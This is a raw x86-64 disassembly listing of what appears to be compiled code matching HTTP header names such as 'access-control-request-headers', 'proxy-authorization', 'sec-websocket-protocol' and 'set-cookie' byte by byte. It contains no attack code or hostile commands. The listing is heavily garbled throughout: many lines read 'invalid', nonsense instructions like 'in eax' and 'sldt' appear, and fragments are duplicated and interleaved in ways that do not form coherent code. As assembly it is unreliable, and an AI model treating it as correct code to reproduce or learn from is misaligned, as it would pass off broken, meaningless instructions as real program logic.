add byte [rax + 0x4165b20a], dh
mov al, 0xa
mov dl, 0x65
mov r8d, 0x15
mov eax, 0x15
jmp 0x14002ec13
invalid
cmp byte [rcx], 0x61
jne case.0x14002f51e.103
invalid
jns 0x14002ff86
jae 0x14002ff93
test eax, eax
invalid
cmp byte [rcx + 6], 0x2d
jne case.0x14002f51e.103
jns 0x14002ff9c
sub eax, 0x16ac850f
add byte [rax], al
add byte [rax + 0xf630779], al
test dword [rdx - 0x7fffffea], esp
jns 0x14002ffb2
cmp byte [rcx + 7], 0x63
jne case.0x14002f51e.103
cmp byte [rcx + 8], 0x6f
outsd dx, dword [rsi]
jne case.0x14002f51e.103
add byte [rax + 0xf6e0979], al
test dword [rsi - 0x7fffffea], ecx
jns 0x14002ffc8
cmp byte [rcx + 9], 0x6e
jns 0x14002ffbd
outsb dx, byte [rsi]
jne case.0x14002f51e.103
cmp byte [rcx + 0xa], 0x74
jne case.0x14002f51e.103
or dh, byte [rdi + rcx - 0x7b]
test byte [rsi], dl
add byte [rax], al
je 0x14002ffcf
test dword [rsi + rdx + 0x79800000], eax
or esi, dword [rdx + 0xf]
cmp byte [rcx + 0xb], 0x72
jne case.0x14002f51e.103
jb 0x14002ffd9
test dword [rdx + 0x16], edi
add byte [rax], al
cmp byte [rcx + 0xc], 0x6f
jne case.0x14002f51e.103
cmp byte [rcx + 0xd], 0x6c
jne case.0x14002f51e.103
cmp byte [rcx + 0xe], 0x2d
jne case.0x14002f51e.103
jns 0x14002fff4
sub eax, 0x165c850f
add byte [rax], al
cmp byte [rcx + 0xf], 0x72
jne case.0x14002f51e.103
invalid
cmp byte [rcx + 0x10], 0x65
jne case.0x14002f51e.103
cmp byte [rcx + 0x11], 0x71
jne case.0x14002f51e.103
cmp byte [rcx + 0x12], 0x75
jne case.0x14002f51e.103
cmp byte [rcx + 0x13], 0x65
jne case.0x14002f51e.103
cmp byte [rcx + 0x14], 0x73
jne case.0x14002f51e.103
invalid
add byte [rax + 0xf741579], al
test dword [rsi], edx
invalid
cmp byte [rcx + 0x15], 0x74
jne case.0x14002f51e.103
cmp byte [rcx + 0x16], 0x2d
jne case.0x14002f51e.103
cmp byte [rcx + 0x17], 0x68
jne case.0x14002f51e.103
invalid
add byte [rax], al
invalid
cmp byte [rcx + 0x18], 0x65
jne case.0x14002f51e.103
cmp byte [rcx + 0x19], 0x61
jne case.0x14002f51e.103
cmp byte [rcx + 0x1a], 0x64
jne case.0x14002f51e.103
cmp byte [rcx + 0x1c], 0x72
jne case.0x14002f51e.103
jns 0x14003008e
jb 0x140030083
test eax, edx
adc eax, 0xbb00000
mov al, 0xb
mov dl, 0x73
mov r8d, 0x1d
jmp 0x14002ec13
cmp byte [rcx], 0x61
jne case.0x14002f51e.103
adc eax, 0x79800000
add dword [rbx + 0xf], esp
test dword [rsi - 0x7fffffeb], ebp
jns 0x1400300a0
invalid
test dword [rbp + rdx + 0x79800000], esp
add esp, dword [rbp + 0xf]
test dword [rdx - 0x7fffffeb], ebx
jns 0x1400300b6
jae 0x1400300c3
test dword [rax - 0x7fffffeb], edx
jns 0x1400300c1
adc eax, 0x79800000
add eax, 0x86850f73
adc eax, 0x79800000
invalid
jae 0x1400300cd
test dword [rsi - 0x7fffffeb], eax
jns 0x1400300cc
add byte [rax], al
cmp byte [rcx + 6], 0x2d
jne case.0x14002f51e.103
sub eax, 0x157c850f
add byte [rax], al
add byte [rax + 0xf630779], al
test dword [rdx + 0x15], esi
add byte [rax], al
cmp byte [rcx + 7], 0x63
jne case.0x14002f51e.103
cmp byte [rcx + 8], 0x6f
jne case.0x14002f51e.103
cmp byte [rcx + 9], 0x6e
jne case.0x14002f51e.103
jns 0x140030124
sub eax, 0x152c850f
add byte [rax], al
movzx edx, byte [rcx + 0xf]
cmp edx, 0x72
je 0x1400315c5
cmp edx, 0x65
jne case.0x14002f51e.103
cmp byte [rcx + 0x10], 0x78
jne case.0x14002f51e.103
cmp byte [rcx + 0x11], 0x70
jne case.0x14002f51e.103
cmp byte [rcx + 0x12], 0x6f
jne case.0x14002f51e.103
cmp byte [rcx + 0x13], 0x73
jne case.0x14002f51e.103
cmp byte [rcx + 0x14], 0x65
jne case.0x14002f51e.103
cmp byte [rcx + 0x15], 0x2d
jne case.0x14002f51e.103
cmp byte [rcx + 0x16], 0x68
jne case.0x14002f51e.103
cmp byte [rcx + 0x17], 0x65
jne case.0x14002f51e.103
cmp byte [rcx + 0x18], 0x61
jne case.0x14002f51e.103
cmp byte [rcx + 0x19], 0x64
jne case.0x14002f51e.103
cmp byte [rcx + 0x1a], 0x65
jne case.0x14002f51e.103
cmp byte [rcx + 0x1b], 0x72
jne case.0x14002f51e.103
mov al, 9
mov dl, 0x73
mov r8d, 0x1c
jmp 0x14002ec13
invalid
invalid
invalid
invalid
cmp byte [rcx + 1], 0x70
jne case.0x14002f51e.103
cmp byte [rcx + 2], 0x67
jne case.0x14002f51e.103
cmp byte [rcx + 3], 0x72
jne case.0x14002f51e.103
cmp byte [rcx + 4], 0x61
jne case.0x14002f51e.103
cmp byte [rcx + 5], 0x64
jne case.0x14002f51e.103
cmp byte [rcx + 6], 0x65
jne case.0x14002f51e.103
cmp byte [rcx + 7], 0x2d
jne case.0x14002f51e.103
adc al, 0
invalid
adc al, 0
add byte [rax + 0xf690879], al
cmp byte [rcx + 8], 0x69
jne case.0x14002f51e.103
test dword [rdi], edi
adc al, 0
invalid
test dword [rdi], edi
adc al, 0
add byte [rax + 0xf6e0979], al
test dword [0xc0030229], esi
jns 0x140030221
cmp byte [rcx + 9], 0x6e
jne case.0x14002f51e.103
cmp byte [rcx + 0xa], 0x73
jne case.0x14002f51e.103
jae case.0x14001a36d.879
test dword [rbx], ebp
adc al, 0
add byte [rax + 0xf650b79], al
test dword [rcx], esp
adc al, 0
add byte [rax + 0xf630c79], al
cmp byte [rcx + 0xc], 0x63
jne case.0x14002f51e.103
cmp byte [rcx + 0xd], 0x75
jne case.0x14002f51e.103
invalid
jns 0x14003024d
cmp byte [rcx + 0xb], 0x65
jne case.0x14002f51e.103
jne case.0x14002f51e.103
cmp byte [rcx + 0xc], 0x63
jne case.0x14002f51e.103
cmp byte [rcx + 0xe], 0x72
jne case.0x14002f51e.103
jb 0x140030250
test dword [rbx], eax
adc al, 0
add byte [rax + 0xf650f79], al
test ecx, edi
cmp byte [rcx + 0xf], 0x65
jne case.0x14002f51e.103
adc eax, dword [rax]
add byte [rax + 0xf2d1079], al
test edi, ebp
adc eax, dword [rax]
add byte [rax + 0xf721179], al
test ebp, esp
in eax, 0x13
add byte [rax], al
cmp byte [rcx + 0x12], 0x65
jne case.0x14002f51e.103
cmp byte [rcx + 0x13], 0x71
jne case.0x14002f51e.103
cmp byte [rcx + 0x14], 0x75
jne case.0x14002f51e.103
cmp byte [rcx + 0x15], 0x65
jne case.0x14002f51e.103
invalid
jns 0x1400302a5
cmp byte [rcx + 0x10], 0x2d
jne case.0x14002f51e.103
cmp byte [rcx + 0x11], 0x72
jne case.0x14002f51e.103
in eax, 0x13
add byte [rax], al
in eax, 0x13
add byte [rax], al
cmp byte [rcx + 0x12], 0x65
jne case.0x14002f51e.103
cmp byte [rcx + 0x13], 0x71
jne case.0x14002f51e.103
cmp byte [rcx + 0x14], 0x75
jne case.0x14002f51e.103
cmp byte [rcx + 0x15], 0x65
jne case.0x14002f51e.103
cmp byte [rcx + 0x16], 0x73
jne case.0x14002f51e.103
jae 0x1400302a0
test dword [rbx - 0x7fffffed], esi
jns 0x1400302b0
cmp byte [rcx + 0x17], 0x74
jne case.0x14002f51e.103
je 0x1400302aa
test dword [rcx - 0x4fffffed], ebp
mov dl, 0x73
mov al, 0x48
mov dl, 0x73
mov r8d, 0x18
mov eax, 0x18
jmp 0x14002ec13
cmp byte [rcx + 1], 0x61
jns 0x1400302b3
invalid
jne case.0x14002f51e.103
test dword [rax - 0x7fffffed], edx
jns 0x1400302be
cmp byte [rcx + 2], 0x78
jne case.0x14002f51e.103
js 0x1400302cd
test dword [rsi - 0x7fffffed], eax
cmp byte [rcx + 3], 0x2d
jne case.0x14002f51e.103
jns 0x1400302c9
sub eax, 0x137c850f
jl 0x1400302de
add byte [rax], al
cmp byte [rcx + 4], 0x66
jne case.0x14002f51e.103
cmp byte [rcx + 5], 0x6f
jne case.0x14002f51e.103
adc eax, dword [rax]
add byte [rax + 0xf720679], al
test dword [rsi + 0x13], ebx
add byte [rax], al
cmp byte [rcx + 6], 0x72
jne case.0x14002f51e.103
cmp byte [rcx + 7], 0x77
jne case.0x14002f51e.103
cmp byte [rcx + 8], 0x61
jne case.0x14002f51e.103
cmp byte [rcx + 9], 0x72
jne case.0x14002f51e.103
cmp byte [rcx + 0xa], 0x64
jne case.0x14002f51e.103
mov al, 0x2f
jmp 0x1400312e0
cmp byte [rcx + 1], 0x6f
jne case.0x14002f51e.103
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 2], 0x6e
jne case.0x14002f51e.103
cmp byte [rcx + 3], 0x74
jne case.0x14002f51e.103
adc eax, dword [rax]
invalid
adc eax, dword [rax]
add byte [rax + 0xf650479], al
test dword [rdi], eax
adc eax, dword [rax]
add byte [rax + 0xf6e0579], al
test ebp, edi
adc al, byte [rax]
add byte [rax + 0xf740679], al
test ebx, esi
adc al, byte [rax]
add byte [rax + 0xf2d0779], al
sub eax, 0x12e9850f
invalid
sub eax, 0x12e9850f
add byte [rax], al
add byte [rax + 0xf6c0879], al
test edi, ebx
adc al, byte [rax]
invalid
add byte [rax + 0xf6c0879], al
test edi, ebx
adc al, byte [rax]
add byte [rax + 0xf650979], al
test ebp, edx
adc al, byte [rax]
add byte [rax + 0xf6e0a79], al
test ebx, ecx
adc al, byte [rax]
add byte [rax + 0xf670b79], al
test ecx, eax
adc al, byte [rax]
cmp byte [rcx + 9], 0x65
jne case.0x14002f51e.103
cmp byte [rcx + 0xa], 0x6e
jne case.0x14002f51e.103
cmp byte [rcx + 0xb], 0x67
jne case.0x14002f51e.103
add byte [rax + 0xf740c79], al
test dword [rdi - 0x4fffffee], esi
sbb byte [rdx + 0xdb84168], dh
cmp byte [rcx + 0xc], 0x74
jne case.0x14002f51e.103
mov al, 0x18
mov dl, 0x68
mov r8d, 0xd
add byte [rax], al
add cl, ch
jb 0x140030387
invalid
invalid
add byte [rax], al
add cl, ch
jb 0x140030387
invalid
add byte [rax + 0xf790979], al
test dword [rsi + 0x12], ecx
add byte [rax], al
cmp byte [rcx + 0xa], 0x2d
jne case.0x14002f51e.103
cmp byte [rcx + 0xb], 0x70
jne case.0x14002f51e.103
adc al, byte [rax]
invalid
adc al, byte [rax]
add byte [rax + 0xf690c79], al
test dword [rax], esi
adc al, byte [rax]
add byte [rax + 0xf6e0d79], al
test dword [rsi], esp
adc al, byte [rax]
add byte [rax + 0xf730e79], al
cmp byte [rcx + 0xc], 0x69
jne case.0x14002f51e.103
cmp byte [rcx + 0xd], 0x6e
jne case.0x14002f51e.103
cmp byte [rcx + 0xe], 0x73
jne case.0x14002f51e.103
test dword [rdx + rdx], ebx
add byte [rax], al
test dword [rdx + rdx], ebx
add byte [rax], al
cmp byte [rcx + 0xf], 0x2d
jne case.0x14002f51e.103
cmp byte [rcx + 0x10], 0x72
jne case.0x14002f51e.103
cmp byte [rcx + 0x11], 0x65
jne case.0x14002f51e.103
cmp byte [rcx + 0x12], 0x70
jne case.0x14002f51e.103
add byte [rax + 0xf6f1379], al
test edx, ebp
adc dword [rax], eax
add byte [rax + 0xf721479], al
test eax, esp
adc dword [rax], eax
add byte [rax + 0xf741579], al
test esi, edx
adc dword [rax], eax
add byte [rax + 0xf2d1679], al
test esp, ecx
adc dword [rax], eax
add byte [rax + 0xf6f1779], al
jne case.0x14002f51e.103
cmp byte [rcx + 0x18], 0x6e
jne case.0x14002f51e.103
invalid
jns 0x1400304ad
cmp byte [rcx + 0x13], 0x6f
jne case.0x14002f51e.103
cmp byte [rcx + 0x14], 0x72
jne case.0x14002f51e.103
cmp byte [rcx + 0x15], 0x74
jne case.0x14002f51e.103
cmp byte [rcx + 0x16], 0x2d
jne case.0x14002f51e.103
cmp byte [rcx + 0x17], 0x6f
jne case.0x14002f51e.103
cmp byte [rcx + 0x18], 0x6e
jne case.0x14002f51e.103
cmp byte [rcx + 0x19], 0x6c
insb byte [rdi], dx
jne case.0x14002f51e.103
mov al, 0x35
mov dl, 0x79
mov r8d, 0x1a
jmp 0x14002ec13
cmp byte [rcx + 1], 0x6f
outsd dx, dword [rsi]
jne case.0x14002f51e.103
cmp byte [rcx + 2], 0x63
jne case.0x14002f51e.103
invalid
mov edx, dword [rcx]
add byte [rax], al
test dword [rbx - 0x7fffffef], ecx
jns 0x1400304c4
cmp byte [rcx + 3], 0x61
jne case.0x14002f51e.103
invalid
adc dword [rcx], 0x79800000
add al, 0x74
cmp byte [rcx + 4], 0x74
jne case.0x14002f51e.103
cmp byte [rcx + 5], 0x69
jne case.0x14002f51e.103
cmp byte [rcx + 6], 0x6f
jne case.0x14002f51e.103
add byte [rax + 0x416eb22e], dh
mov eax, 7
mov al, 0x2e
mov dl, 0x6e
mov r8d, 7
jmp 0x14002ec13
jns 0x14003050f
jne case.0x14002f51e.103
adc dword ss:[rax], eax
add byte [rax + 0x4165b236], dh
mov eax, 4
mov al, 0x36
mov dl, 0x65
mov r8d, 4
jmp 0x14002ec13
cmp byte [rcx + 1], 0x6e
jne case.0x14002f51e.103
mov al, 0x1f
mov dl, 0x74
mov r8d, 2
jmp 0x14002ec13
cmp byte [rcx + 1], 0x69
jne case.0x14002f51e.103
adc dword [rax], eax
invalid
adc dword [rax], eax
add byte [rax + 0x4161b24a], dh
mov eax, 2
mov al, 0x4a
mov dl, 0x61
mov r8d, 2
jmp 0x14002ec13
xlatb
adc byte [rax], al
add byte [rax + 0xf610479], al
test ebp, ecx
adc byte [rax], al
add byte [rax + 0xf750579], al
test ebx, eax
adc byte [rax], al
add byte [rax + 0xf740679], al
test dword [rcx - 0x7ffffff0], edi
jns 0x14003059a
push 0x10af850f
add byte [rax], al
cmp byte [rcx + 8], 0x65
jne case.0x14002f51e.103
cmp byte [rcx + 9], 0x6e
jne case.0x14002f51e.103
cmp byte [rcx + 0xa], 0x74
jne case.0x14002f51e.103
cmp byte [rcx + 0xb], 0x69
jne case.0x14002f51e.103
cmp byte [rcx + 0xc], 0x63
jne case.0x14002f51e.103
invalid
add byte [rax + 0xf610d79], al
test dword [rbx + 0x10], esi
add byte [rax], al
invalid
cmp byte [rcx + 0xd], 0x61
jne case.0x14002f51e.103
invalid
cmp byte [rcx + 0xe], 0x74
jne case.0x14002f51e.103
mov al, 0x4c
jmp 0x1400315b8
cmp byte [rcx + 1], 0x2d
jne case.0x14002f51e.103
cmp byte [rcx + 2], 0x78
jne case.0x14002f51e.103
cmp byte [rcx + 3], 0x73
jne case.0x14002f51e.103
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 4], 0x73
jne case.0x14002f51e.103
cmp byte [rcx + 5], 0x2d
jne case.0x14002f51e.103
cmp byte [rcx + 6], 0x70
jne case.0x14002f51e.103
cmp byte [rcx + 7], 0x72
jne case.0x14002f51e.103
cmp byte [rcx + 8], 0x6f
jne case.0x14002f51e.103
or byte [rdi + 0xf], ch
test dword [rdx], edx
adc byte [rax], al
add byte [rax + 0xf740979], al
test dword [rax], ecx
adc byte [rax], al
add byte [rax + 0xf650a79], al
test esi, edi
cmp byte [rcx + 9], 0x74
jne case.0x14002f51e.103
cmp byte [rcx + 0xa], 0x65
jne case.0x14002f51e.103
sldt word [rax]
sldt word [rax]
cmp byte [rcx + 0xb], 0x63
jne case.0x14002f51e.103
cmp byte [rcx + 0xc], 0x74
jne case.0x14002f51e.103
cmp byte [rcx + 0xd], 0x69
jne case.0x14002f51e.103
test eax, esp
sldt word [rax]
test eax, esp
sldt word [rax]
cmp byte [rcx + 0xe], 0x6f
jne case.0x14002f51e.103
mov al, 0x50
jmp 0x140031577
cmp byte [rcx + 1], 0x65
jne case.0x14002f51e.103
invalid
sldt word [rax]
invalid
cmp byte [rcx + 2], 0x74
jne case.0x14002f51e.103
cmp byte [rcx + 3], 0x2d
jne case.0x14002f51e.103
cmp byte [rcx + 4], 0x63
jne case.0x14002f51e.103
cmp byte [rcx + 5], 0x6f
jne case.0x14002f51e.103
cmp byte [rcx + 6], 0x6f
jne case.0x14002f51e.103
cmp byte [rcx + 7], 0x6b
jne case.0x14002f51e.103
cmp byte [rcx + 8], 0x69
jne case.0x14002f51e.103
mov al, 0x41
mov dl, 0x65
mov r8d, 9
jmp 0x14002ec13
jne case.0x14002f51e.103
invalid
cmp byte [rcx + 0xe], 0x73
jne case.0x14002f51e.103
cmp byte [rcx + 0xf], 0x69
jne case.0x14002f51e.103
cmp byte [rcx + 0x10], 0x6e
jne case.0x14002f51e.103
test eax, edx
invalid
add byte [rax], al
test eax, edx
ror byte [rsi], 1
add byte [rax], al
invalid
cmp byte [rcx + 0x11], 0x63
jne case.0x14002f51e.103
mov al, 0x2b
mov dl, 0x65
mov r8d, 0x12
jmp 0x14002ec13
invalid
invalid
invalid
inc dword [rax + 0xf730179]
test dword [rbp - 0x7ffffff2], ebp
invalid
jns 0x1400307a1
cmp byte [rcx + 1], 0x73
jne case.0x14002f51e.103
cmp byte [rcx + 2], 0x65
jne case.0x14002f51e.103
jne case.0x14002f51e.103
test dword [rbx - 0x7ffffff2], esp
jns case.0x14002a5ba.189
cmp byte [rcx + 3], 0x72
jne case.0x14002f51e.103
cdq
invalid
add byte [rax], al
jb 0x1400307ba
test dword [rcx - 0x7ffffff2], ebx
jns 0x1400307b7
cdq
invalid
add byte [rax], al
cmp byte [rcx + 4], 0x2d
jne case.0x14002f51e.103
invalid
invalid
invalid
add byte [rax], al
invalid
sub eax, 0xe8f850f
add byte [rax], al
invalid
test dword [rdi - 0x7ffffff2], ecx
jns 0x1400307c2
invalid
add byte [rax + 0xf610579], al
test dword [rbp - 0x7ffffff2], eax
jns 0x1400307cd
cmp byte [rcx + 5], 0x61
jne case.0x14002f51e.103
invalid
test dword [rsi], ecx
add byte [rax], al
cmp byte [rcx + 6], 0x67
jne case.0x14002f51e.103
jne case.0x14002f51e.103
add byte [rax + 0xf650779], al
test dword [rcx + 0xe], esi
add byte [rax], al
cmp byte [rcx + 7], 0x65
jne case.0x14002f51e.103
cmp byte [rcx + 8], 0x6e
jns 0x1400307e3
or byte [rsi + 0xf], ch
test dword [rdi + 0xe], esp
add byte [rax], al
outsb dx, byte [rsi]
jne case.0x14002f51e.103
mov al, 0x46
mov dl, 0x74
invalid
mov dl, 0x74
je 0x140030828
mov r8d, 9
mov eax, 9
add byte [rax], al
add cl, ch
and ah, ah
invalid
jmp 0x14002ec13
cmp byte [rcx + 3], 0x78
jne case.0x14002f51e.103
cmp byte [rcx + 4], 0x79
jne case.0x14002f51e.103
jns 0x140030816
jns 0x140030823
test dword [rax], esi
invalid
cmp byte [rcx + 5], 0x2d
jne case.0x14002f51e.103
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 6], 0x61
jne case.0x14002f51e.103
test dword [rsi + rcx], ebx
add byte [rax], al
cmp byte [rcx + 7], 0x75
jne case.0x14002f51e.103
cmp byte [rcx + 8], 0x74
jne case.0x14002f51e.103
or byte [rsi], cl
add byte [rax], al
or byte [rsi], cl
add byte [rax], al
cmp byte [rcx + 9], 0x68
jne case.0x14002f51e.103
cmp byte [rcx + 0xa], 0x6f
jne case.0x14002f51e.103
invalid
hlt
add byte [rax + 0xf720b79], al
test edx, ebp
or eax, 0x79800000
or al, 0x69
cmp byte [rcx + 0xb], 0x72
jne case.0x14002f51e.103
cmp byte [rcx + 0xc], 0x69
jne case.0x14002f51e.103
cmp byte [rcx + 0xd], 0x7a
jne case.0x14002f51e.103
or eax, 0x79800000
invalid
add byte [rax + 0xf610e79], al
test esp, ecx
or eax, 0x79800000
pcmpeqb mm1, qword [rdi]
test edx, eax
or eax, 0x79800000
add byte [rax], al
invalid
invalid
cmp byte [rcx + 0xe], 0x61
jne case.0x14002f51e.103
cmp byte [rcx + 0xf], 0x74
jne case.0x14002f51e.103
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 0x10], 0x69
jne case.0x14002f51e.103
invalid
invalid
add byte [rax], al
adc byte [rcx + 0xf], ch
test dword [rax - 0x7ffffff3], edi
mov eax, 0x8000000d
or eax, 0x79800000
adc dword [rdi + 0xf], ebp
test dword [rsi - 0x4ffffff3], ebp
scasb al, byte [rdi]
invalid
add byte [rax], al
invalid
cmp byte [rcx + 0x11], 0x6f
jns 0x1400308a5
outsd dx, dword [rsi]
jne case.0x14002f51e.103
scasb al, byte [rdi]
or eax, 0x33b00000
invalid
mov al, 0x33
xor esi, dword [rdx + 0x12b8416e]
add byte [rax], al
add cl, ch
imul esp, ebx, 0x7980ffff
cmp byte [rcx + 1], 0x65
jne case.0x14002f51e.103
xchg ebp, eax
or eax, 0x79800000
invalid
invalid
jns 0x1400308b9
mov dl, 0x6e
mov r8d, 0x12
adc al, byte [rax]
add byte [rax], al
jmp 0x14002ec13
cmp byte [rcx + 1], 0x65
jne case.0x14002f51e.103
xchg ebp, eax
invalid
add byte [rax], al
invalid
add byte [rax + 0xf630279], al
cmp byte [rcx + 2], 0x63
jne case.0x14002f51e.103
invalid
test dword [rbx - 0x7ffffff3], ecx
jns 0x1400308c4
cmp byte [rcx + 3], 0x2d
jne case.0x14002f51e.103
add byte [rax], al
sub eax, 0xd81850f
or dword [0x1b98308ce], 0x850f7704
ja 0x1400308dd
invalid
add byte [rax], al
cmp byte [rcx + 4], 0x77
jne case.0x14002f51e.103
invalid
add byte [rax], al
or eax, 0x79800000
add eax, 0x6d850f65
jne case.0x14002f51e.103
invalid
jns case.0x14002c4db.145
add byte [rax], al
cmp byte [rcx + 5], 0x65
jne case.0x14002f51e.103
jne case.0x14002f51e.103
add byte [rax], al
cmp byte [rcx + 6], 0x62
jne case.0x14002f51e.103
invalid
jns case.0x14002c4db.145
invalid
add byte [rax + 0xf730779], al
cmp byte [rcx + 7], 0x73
jne case.0x14002f51e.103
jae 0x1400308fa
test dword [rcx + 0xd], ebx
add byte [rax], al
cmp byte [rcx + 8], 0x6f
jne case.0x14002f51e.103
invalid
invalid
add byte [rax], al
or rax, 0x79800000
or dword [rbx + 0xf], esp
test dword [rbp + 0xd], eax
invalid
add byte [rax], al
cmp byte [rcx + 9], 0x63
jne case.0x14002f51e.103
invalid
add byte [rax], al
jns 0x140030906
invalid
or eax, 0x79800000
cmp byte [rcx + 0xa], 0x6b
jne case.0x14002f51e.103
or ch, byte [rbx + 0xf]
test dword [rbx], edi
or eax, 0x79800000
or esp, dword [rbp + 0xf]
test dword [rcx], esi
or eax, 0x79800000
or al, 0x74
cmp byte [rcx + 0xb], 0x65
jne case.0x14002f51e.103
cmp byte [rcx + 0xc], 0x74
jne case.0x14002f51e.103
cmp byte [rcx + 0xd], 0x2d
jne case.0x14002f51e.103
add byte [rax], al
cmp byte [rcx + 0xe], 0x70
jne case.0x14002f51e.103
invalid
add byte [rax], al
jns 0x14003093d
jo 0x140030940
test dword [rbx], edx
or eax, 0x79800000
invalid
cmp byte [rcx + 0xf], 0x72
jne case.0x14002f51e.103
invalid
invalid
add byte [rax], al
or dword [0x1b9830942], ecx
or eax, 0x79800000
cmp byte [rcx + 0x10], 0x6f
jne case.0x14002f51e.103
test edi, edi
or al, 0
invalid
adc byte [rdi + 0xf], ch
test edi, edi
or al, 0
add byte [rax + 0xf741179], al
je 0x14003095e
cmp byte [rcx + 0x11], 0x74
jne case.0x14002f51e.103
test ebp, esi
or al, 0
invalid
je 0x14003095e
test ebp, esi
or al, 0
add byte [rax + 0xf6f1279], al
invalid
cmp byte [rcx + 0x12], 0x6f
jne case.0x14002f51e.103
test ebx, ebp
or al, 0
add byte [rax + 0xf631379], al
test ecx, esp
or al, 0
add byte [rax + 0xf6f1479], al
outsd dx, dword [rsi]
invalid
test edi, edx
xlatb
cmp byte [rcx + 0x13], 0x63
jne case.0x14002f51e.103
cmp byte [rcx + 0x14], 0x6f
outsd dx, dword [rsi]
jne case.0x14002f51e.103
xlatb
or al, 0
add byte [rax + 0xb10e93e], dh
jmp case.0x14002de35.113
mov al, 0x3e
jmp case.0x14002de35.113
cmp byte [rcx + 1], 0x2d
jne case.0x14002f51e.103
movzx edx, byte [rcx + 2]
cmp edx, 0x64
je 0x1400313d3
cmp edx, 0x63
jne case.0x14002f51e.103
cmp byte [rcx + 3], 0x6f
jne case.0x14002f51e.103
add ebp, dword [rdi + 0xf]
test dword [rsi - 0x7ffffff4], esp
jns 0x1400309aa
or al, 0
add byte [rax + 0xf6e0479], al
test dword [rsp + rcx + 0x79800000], ebx
add eax, 0x92850f74
je 0x1400309c1
invalid
xchg edx, eax
or al, 0
cmp byte [rcx + 4], 0x6e
outsb dx, byte [rsi]
jne case.0x14002f51e.103
or al, 0
add byte [rax + 0xf740579], al
je 0x1400309c1
cmp byte [rcx + 5], 0x74
jne case.0x14002f51e.103
invalid
je 0x1400309c1
test dword [rdx - 0x7ffffff4], edx
jns 0x1400309c0
add byte [rax + 0xf650679], al
test dword [rax - 0x7ffffff4], ecx
mov byte [rax + rax], cl
invalid
invalid
jns 0x1400309cb
cmp byte [rcx + 6], 0x65
jne case.0x14002f51e.103
mov byte [rax + rax], cl
invalid
jne case.0x14002f51e.103
add byte [rax + 0xf6e0779], al
test dword [rsi + 0xc], edi
add byte [rax], al
cmp byte [rcx + 7], 0x6e
outsb dx, byte [rsi]
jne case.0x14002f51e.103
cmp byte [rcx + 8], 0x74
jne case.0x14002f51e.103
jns 0x1400309d6
je case.0x14001e2cd.393
test dword [rsp + rcx], esi
add byte [rax + 0xf2d0979], al
test dword [rdx + 0xc], ebp
cmp byte [rcx + 9], 0x2d
jne case.0x14002f51e.103
jns 0x1400309e1
sub eax, 0xc6a850f
add byte [rax], al
cmp byte [rcx + 0xa], 0x74
jne case.0x14002f51e.103
invalid
or dh, byte [rdi + rcx - 0x7b]
invalid
add byte [rax + 0xf790b79], al
cmp byte [rcx + 0xb], 0x79
jne case.0x14002f51e.103
or edi, dword [rcx + 0xf]
test dword [rsi + 0xc], edx
add byte [rax], al
cmp byte [rcx + 0xc], 0x70
jne case.0x14002f51e.103
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 0xd], 0x65
jne case.0x14002f51e.103
or al, 0
invalid
or al, 0
add byte [rax + 0xf2d0e79], al
test dword [rax], edi
or al, 0
add byte [rax + 0xf6f0f79], al
test dword [rsi], ebp
invalid
cmp byte [rcx + 0xe], 0x2d
jne case.0x14002f51e.103
cmp byte [rcx + 0xf], 0x6f
jne case.0x14002f51e.103
or al, 0
invalid
or al, 0
or al, 0
add byte [rax + 0xf701079], al
test dword [rsp + rcx], esp
and al, 0xc
cmp byte [rcx + 0x10], 0x70
jne case.0x14002f51e.103
and al, 0xc
add byte [rax], al
add byte [rax], al
add byte [rax + 0xf741179], al
test dword [rdx], ebx
or al, 0
add byte [rax], al
cmp byte [rcx + 0x12], 0x69
invalid
cmp byte [rcx + 0x11], 0x74
jne case.0x14002f51e.103
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 0x12], 0x69
jne case.0x14002f51e.103
test dword [rax], edx
or al, 0
invalid
test dword [rax], edx
or al, 0
add byte [rax + 0xf6f1379], al
test dword [rsi], eax
cmp byte [rcx + 0x13], 0x6f
jne case.0x14002f51e.103
or al, 0
invalid
or al, 0
add byte [rax + 0xf6e1479], al
test esp, edi
cld
cmp byte [rcx + 0x14], 0x6e
jne case.0x14002f51e.103
cld
or eax, dword [rax]
invalid
cld
or eax, dword [rax]
add byte [rax + 0x4173b24d], dh
jae 0x140030a93
add byte [rax], al
mov al, 0x4d
mov dl, 0x73
jae 0x140030a93
mov eax, 0x15
jae 0x140030a93
mov eax, 0x15
jmp 0x14002ec13
cmp byte [rcx + 1], 0x65
jne case.0x14002f51e.103
add byte [rax], al
add byte [rax], al
add byte [rax + 0xf660279], al
cmp byte [rcx + 2], 0x66
jne case.0x14002f51e.103
invalid
or eax, dword [rax]
invalid
add ah, byte [rsi + 0xf]
test ecx, ebx
or eax, dword [rax]
add byte [rax + 0xf650379], al
test edi, ecx
invalid
cmp byte [rcx + 3], 0x65
jne case.0x14002f51e.103
or eax, dword [rax]
invalid
or eax, dword [rax]
add byte [rax + 0xf720479], al
test ebp, eax
invalid
or eax, dword [rax]
add byte [rax + 0xf720579], al
jne case.0x14002f51e.103
invalid
invalid
jne case.0x14002f51e.103
or eax, dword [rax]
add byte [rax + 0xf650679], al
cmp byte [rcx + 6], 0x65
jne case.0x14002f51e.103
jns 0x140030a97
jne case.0x14002f51e.103
test dword [rcx - 0x7ffffff5], esi
jns 0x140030aa2
add byte [rax + 0xf720779], al
cmp byte [rcx + 7], 0x72
jb case.0x14002c4db.120
jne case.0x14002f51e.103
test dword [rdi - 0x7ffffff5], esp
jns 0x140030aad
invalid
cmp byte [rcx + 8], 0x2d
jne case.0x14002f51e.103
or byte [0x14ba08fb9], ch
sub eax, 0xb9d850f
add byte [rax], al
cmp byte [rcx + 9], 0x70
jne case.0x14002f51e.103
jns 0x140030ab8
jo case.0x140028996.366
test dword [rbx - 0x7ffffff5], edx
jns 0x140030ac3
add byte [rax], al
cmp byte [rcx + 0xa], 0x6f
or ch, byte [rdi + 0xf]
test dword [rcx - 0x7ffffff5], ecx
mov dword [rbx], ecx
add byte [rax], al
invalid
jns 0x140030ace
outsd dx, dword [rsi]
jne case.0x14002f51e.103
mov dword [rbx], ecx
add byte [rax], al
cmp byte [rcx + 0xb], 0x6c
insb byte [rdi], dx
jne case.0x14002f51e.103
add byte [rax], al
cmp byte [rcx + 0xc], 0x69
jne case.0x14002f51e.103
